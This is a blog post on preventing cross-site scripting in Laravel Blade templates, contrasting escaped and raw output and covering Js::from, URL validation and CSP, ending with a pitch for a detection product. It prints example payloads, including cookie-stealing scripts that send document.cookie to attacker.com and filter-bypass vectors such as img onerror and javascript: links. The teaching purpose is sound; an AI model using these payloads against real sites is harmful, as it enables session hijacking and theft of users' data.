DEV Community

Cover image for XSS Prevention in Laravel — Why {!! !!} Is the Line Between Safe and Hacked

XSS Prevention in Laravel — Why {!! !!} Is the Line Between Safe and Hacked

Originaly published on medium
One character difference in your Blade template. One open door for attackers.
This is the fifth article in a series on PHP and Laravel application security.

So far we have covered;

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
Every article in this series follows the same principle understand the attack before you try to stop it.

XSS is no different.

What XSS Actually Is

Cross-Site Scripting — XSS — is an attack where an attacker injects malicious JavaScript into a page that other users then see and execute in their browsers.

The name is misleading. It is not really about crossing sites. It is about injecting scripts into pages that other people visit.

Here is the simplest version

A website has a comment section. A user submits this as their comment.

<script>alert('hacked')</script>
Enter fullscreen mode Exit fullscreen mode

If the website displays that comment without sanitizing it, every user who visits that page sees a popup. That is the mild demonstration version.

The dangerous version looks like this.

<script>
document.location='https://attacker.com/steal?cookie='+document.cookie
</script>
Enter fullscreen mode Exit fullscreen mode

The attacker may steal session tokens, perform actions as the victim, or read sensitive page data depending on the application’s protections. If session cookies are not protected with attributes such as HttpOnly, Secure, and appropriate SameSite settings, an attacker may be able to hijack the user's session without knowing their password.

The Three Types of XSS

Understanding which type you are dealing with changes how you defend against it.

Reflected XSS

The malicious script comes from the current HTTP request usually a URL parameter.

https://yoursite.com/search?q=<script>alert('xss')</script>
Enter fullscreen mode Exit fullscreen mode

If your page displays the query parameter directly without encoding.

echo "Search results for: " . $_GET['q'];
Enter fullscreen mode Exit fullscreen mode

The script executes in the victim’s browser the moment they visit that URL. The attacker tricks a user into clicking a crafted link and the attack runs immediately.

Stored XSS

The malicious script is saved to the database and displayed to every user who visits the affected page. A comment. A username. A profile bio. A product review. Any field that is stored and later displayed is a potential stored XSS vector. This is the most dangerous type because it runs automatically for every visitor without requiring them to click anything.

DOM-based XSS

The vulnerable server-side code may never process the malicious payload because the vulnerability exists entirely in client-side JavaScript. It exploits JavaScript that reads from the URL and writes to the DOM without sanitization. This is the hardest type to detect server-side because it never reaches your PHP or Laravel code.

The Blade Templating Line That Matters

Laravel uses a templating engine called Blade. Blade gives you two ways to output variables in your HTML templates. The difference between them is the difference between a protected application and a vulnerable one.

The safe way double curly braces

{{ $comment }}
Enter fullscreen mode Exit fullscreen mode

Blade automatically HTML-encodes everything inside {{ }}. So if $comment contains.

<script>alert('xss')</script>
Enter fullscreen mode Exit fullscreen mode

Blade outputs it as.

&lt;script&gt;alert('xss')&lt;/script&gt;
Enter fullscreen mode Exit fullscreen mode

The browser displays it as visible text. The script never executes. The attack fails silently.

The dangerous way raw output

{!! $comment !!}
Enter fullscreen mode Exit fullscreen mode

This outputs the raw unescaped HTML exactly as stored. If $comment contains a script tag it executes. Exactly as the attacker intended.

A useful rule of thumb: whenever you type {!! !!}, pause and ask yourself where that data originated. If the answer is "a user", "a form", "the database", or "an external API", raw output should immediately raise suspicion. Most XSS vulnerabilities begin with trusting data that was never actually trustworthy.

That two-character difference — !! — is the line between safe and hacked.

What HTML Entity Encoding Actually Does

When Blade uses {{ }} it converts characters that have meaning in HTML into their safe entity equivalents.

<  →  &lt;
>  →  &gt;
"  →  &quot;
'  →  &#039;
&  →  &amp;
Enter fullscreen mode Exit fullscreen mode

The browser renders these entities as the visible characters but never interprets them as HTML markup. So

&lt;script&gt;
Enter fullscreen mode Exit fullscreen mode

displays as

 <script> 
Enter fullscreen mode Exit fullscreen mode

on screen but the browser never treats it as an actual executable script tag.

The characters are present. They just cannot do anything. This is why

{{ }}
Enter fullscreen mode Exit fullscreen mode

is the safe default. The encoding happens automatically. You do not have to think about it as long as you use the correct syntax.

When

{!! !!} 
Enter fullscreen mode Exit fullscreen mode

Is Legitimately Needed

{!! !!}
Enter fullscreen mode Exit fullscreen mode

is not always wrong. There are legitimate use cases but they require deliberate judgment.

Rendering HTML you generated yourself from trusted data

{!! $paginationLinks !!}
Enter fullscreen mode Exit fullscreen mode

If your controller built this HTML from your own logic with no user input involved, outputting it raw is fine.

Rendering content from a trusted admin editor

A blog post written by a site administrator in a rich text editor needs raw HTML to display formatting correctly. The key word is trusted content you control, not content submitted by arbitrary users.

Rendering HTML that has already been properly sanitized

If you ran user-submitted content through a dedicated HTML sanitizer such as HTMLPurifier or a Laravel package wrapping it before storing it, outputting it raw can be acceptable. The sanitizer removed dangerous tags and attributes before the content reached your database.

The rule is simple:

{!! !!}
Enter fullscreen mode Exit fullscreen mode

is only safe when you have complete control over the source of the data. The moment user input can influence what appears inside

{!! !!}
Enter fullscreen mode Exit fullscreen mode

you have introduced an XSS vulnerability.

The Four Mistakes Laravel Developers Make

Mistake 1 — Using

{!! !!}
Enter fullscreen mode Exit fullscreen mode

for convenience

A developer wants to display formatted text. They store HTML in the database and use

{!! !!}
Enter fullscreen mode Exit fullscreen mode

to render it. They forget or never considered that the same field accepts input from users.

{{-- Developer thinks: "I need to display the formatted bio" --}}
{!! $user->bio !!}

{{-- Attacker submits bio containing: --}}
{{-- <script>document.location='https://attacker.com?c='+document.cookie</script> --}}
Enter fullscreen mode Exit fullscreen mode

Every user who views that profile page is now at risk.

Mistake 2 — Trusting the database as a safety layer

“The data came from my database so it must be safe.”

Not if a user put it there. Stored XSS lives in the database. The database stores exactly what was submitted. It does not sanitize. It does not encode. It stores and retrieves.

Mistake 3 — Sanitizing on input but not encoding on output

Stripping script tags when the user submits is not reliable protection. Attackers use encoding, alternative event handlers, and HTML quirks to bypass input filters.

<img src=x onerror=alert('xss')>
<svg onload=alert('xss')>
<a href="javascript:alert('xss')">click me</a>
Enter fullscreen mode Exit fullscreen mode

None of these contain the word script. A filter looking for

<script>
Enter fullscreen mode Exit fullscreen mode

misses all of them.

Encoding on output is the reliable defense because it does not matter what the input contained everything gets rendered as text, not as HTML.

Mistake 4 — JavaScript contexts

This is the mistake even careful developers miss.

Blade’s

{{ }}
Enter fullscreen mode Exit fullscreen mode

performs HTML escaping. Inside a JavaScript string, you need JavaScript-safe encoding instead. Using HTML escaping in a JavaScript context can still lead to broken scripts or injection vulnerabilities depending on how the value is used.

{{-- This is NOT safe in a JavaScript context --}}
<script>
var username = "{{ $username }}";
</script>
Enter fullscreen mode Exit fullscreen mode

An attacker submits

a username like "; alert('xss'); " 
Enter fullscreen mode Exit fullscreen mode

and the rendered output becomes.

var username = ""; alert('xss'); "";
Enter fullscreen mode Exit fullscreen mode

For JavaScript contexts

use Laravel’s Js::from()
Enter fullscreen mode Exit fullscreen mode

directive instead.

<script>
const username = {{ Js::from($username) }};
</script>
Enter fullscreen mode Exit fullscreen mode

Js::from() properly encodes the value for a JavaScript context. The two encoding requirements are different and require different solutions.

The Complete Safe Pattern in Laravel

Here is what correct output handling looks like across different contexts:

HTML context — always use

{{ }}
Enter fullscreen mode Exit fullscreen mode

.

<p>{{ $comment }}</p>
<span>{{ $username }}</span>
<div>{{ $userBio }}</div>
Enter fullscreen mode Exit fullscreen mode

JavaScript context always use Js::from();

<script>
const config = {{ Js::from($userConfig) }};
const name = {{ Js::from($username) }};
</script>
Enter fullscreen mode Exit fullscreen mode

HTML attribute context {{ }} is safe.

<input type="text" value="{{ $userInput }}">
Enter fullscreen mode Exit fullscreen mode

For URL attributes, be careful.

<a href="{{ $url }}">link</a>
Enter fullscreen mode Exit fullscreen mode

Blade escapes HTML characters but does not validate URLs. If the URL is user-controlled, validate the scheme ensure it begins with

https://
Enter fullscreen mode Exit fullscreen mode

rather than blindly trusting arbitrary input. A javascript: URL bypasses HTML encoding entirely.

When you must render HTML sanitize first

If you need to display user-submitted HTML, run it through a dedicated HTML sanitizer such as HTMLPurifier or a Laravel package wrapping it before storing or displaying it. Only use

{!! !!}
Enter fullscreen mode Exit fullscreen mode

after proper sanitization.

Content Security Policy as an additional layer

Add a CSP header in your Laravel middleware to limit what scripts can execute even if an XSS payload gets through.

return $response->header(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'"
);
Enter fullscreen mode Exit fullscreen mode

CSP should be treated as a defense-in-depth measure, not a replacement for proper output encoding. A strict CSP means even a successful XSS injection has limited ability to load external scripts or send data to attacker-controlled domains.

The XSS Prevention Checklist for Laravel

Always use {{ }} for user-generated content never {!! !!}
Enter fullscreen mode Exit fullscreen mode

Only use {!! !!} for HTML you generated from trusted, controlled sources
If you must display user HTML run it through an HTML sanitizer first
For JavaScript contexts

use Js::from() not {{ }}
Enter fullscreen mode Exit fullscreen mode

Validate and sanitize on input as an additional layer not as the primary defense
Validate URL schemes when outputting user-controlled URLs
Set a Content Security Policy header as a defense-in-depth measure
Never treat the database as a sanitization layer
Test your forms by

submitting <script>alert('xss')</script> 
Enter fullscreen mode Exit fullscreen mode

and checking what the page renders.
Where Detection Still Has a Role

Blade’s {{ }}
Enter fullscreen mode Exit fullscreen mode

encoding prevents XSS at the output layer. But it does not protect against:

Legacy templates in inherited codebases still using

{!! !!} incorrectly
Enter fullscreen mode Exit fullscreen mode

DOM-based XSS that never reaches your server
Third-party packages that render output unsafely
Developers on your team who

use {!! !!}
Enter fullscreen mode Exit fullscreen mode

without understanding the implications
A security layer that monitors incoming requests and flags payloads containing script injection attempts gives you visibility into XSS attacks before they reach your templates. Not as the primary defense as the safety net that catches what your templates might miss.

Prevention first. Detection as the safety net. The same principle from every article in this series.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries the only real fix for SQL injection
Article 5: This article XSS prevention in Laravel and why {!! !!} is the line between safe and hacked.
The Direction Behind Kriosa

Kriosa’s hybrid system includes XSS detection flagging requests that contain script injection attempts, event handler injections, and JavaScript protocol abuse before they reach your Laravel application.

But as with every article in this series detection at the middleware layer does not replace prevention at the application layer.

{{ }} in Blade is the prevention.
Enter fullscreen mode Exit fullscreen mode

Kriosa is the safety net.

The strongest defense is both layers working together.

Try it free: kriosa.com
Install it:

composer require kriosa-ai/kriosa-php
Enter fullscreen mode Exit fullscreen mode

Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.

Sleep better we’re awake — kriosa

Top comments (0)